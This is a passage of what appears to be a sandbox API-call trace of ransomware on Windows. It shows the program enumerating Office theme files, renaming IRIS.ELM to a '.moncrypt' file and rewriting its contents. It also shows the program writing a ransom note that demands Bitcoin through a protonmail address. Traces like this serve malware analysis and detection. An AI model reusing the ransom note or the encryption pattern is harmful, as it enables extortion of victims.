(hMem=0x440004) returned 0 [0051.975] GlobalLock (hMem=0x440004) returned 0x550170 [0051.975] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.975] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.975] GlobalUnlock (hMem=0x440004) returned 0 [0051.975] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.975] GlobalUnlock (hMem=0x44000c) returned 0 [0051.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.975] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.975] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0051.975] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.975] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.975] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.975] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.975] GlobalUnlock (hMem=0x44000c) returned 0 [0051.975] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.975] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.975] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.975] GlobalUnlock (hMem=0x44000c) returned 0 [0051.975] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.975] GlobalUnlock (hMem=0x440004) returned 0 [0051.975] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.976] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.977] CloseHandle (hObject=0x18c) returned 1 [0051.977] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\я")) returned 1 [0051.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 0x54e240 [0051.978] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.978] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.978] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", dwFileAttributes=0x20) returned 1 [0051.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.moncrypt")) returned 1 [0051.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.981] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.981] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x1015d [0051.981] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.981] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.983] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.983] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.983] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.983] GlobalUnlock (hMem=0x44000c) returned 0 [0051.983] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.983] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.983] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.983] GlobalUnlock (hMem=0x44000c) returned 0 [0051.983] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.983] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.984] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.984] GlobalUnlock (hMem=0x440004) returned 0 [0051.984] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.984] GlobalUnlock (hMem=0x44000c) returned 0 [0051.984] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.984] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.984] GlobalUnlock (hMem=0x44000c) returned 0 [0051.984] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.984] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.984] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.984] GlobalUnlock (hMem=0x44000c) returned 0 [0051.984] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.985] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=65885, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x1015d [0051.985] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.985] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.985] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.996] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.996] CloseHandle (hObject=0x18c) returned 1 [0051.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.997] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.997] CloseHandle (hObject=0x18c) returned 1 [0051.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.998] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.998] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.998] GlobalUnlock (hMem=0x44000c) returned 0 [0051.998] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.998] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.998] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.998] GlobalUnlock (hMem=0x44000c) returned 0 [0051.998] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.998] GlobalUnlock (hMem=0x440004) returned 0 [0051.998] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a210, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.998] GetLastError () returned 0x2 [0051.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.000] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.001] CloseHandle (hObject=0x18c) returned 1 [0052.002] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0052.002] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.002] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.002] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.002] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.002] GlobalUnlock (hMem=0x440004) returned 0 [0052.002] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.002] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.002] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.002] GlobalUnlock (hMem=0x440004) returned 0 [0052.002] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.002] GlobalUnlock (hMem=0x44000c) returned 0 [0052.002] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.002] CharLowerBuffW (in: lpsz="IRIS.INF", cchLength=0x8 | out: lpsz="iris.inf") returned 0x8 [0052.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", cchWideChar=69, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpUsedDefaultChar=0x0) returned 69 [0052.003] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\IRIS\\IRIS.INF", lpUsedDefaultChar=0x0) returned 4 [0052.003] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.003] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.003] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.003] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.003] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.003] GlobalUnlock (hMem=0x44000c) returned 0 [0052.003] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.003] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.003] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.003] GlobalUnlock (hMem=0x44000c) returned 0 [0052.003] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.003] GlobalUnlock (hMem=0x440004) returned 0 [0052.003] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.004] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIFr", lpUsedDefaultChar=0x0) returned 72 [0052.004] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0052.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\IRIS\\PREVIEW.GIFr", lpUsedDefaultChar=0x0) returned 4 [0052.004] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.004] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.004] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.004] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.004] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.005] GlobalUnlock (hMem=0x440004) returned 0 [0052.005] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.005] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.005] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.005] GlobalUnlock (hMem=0x440004) returned 0 [0052.005] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.005] GlobalUnlock (hMem=0x44000c) returned 0 [0052.005] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.005] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, 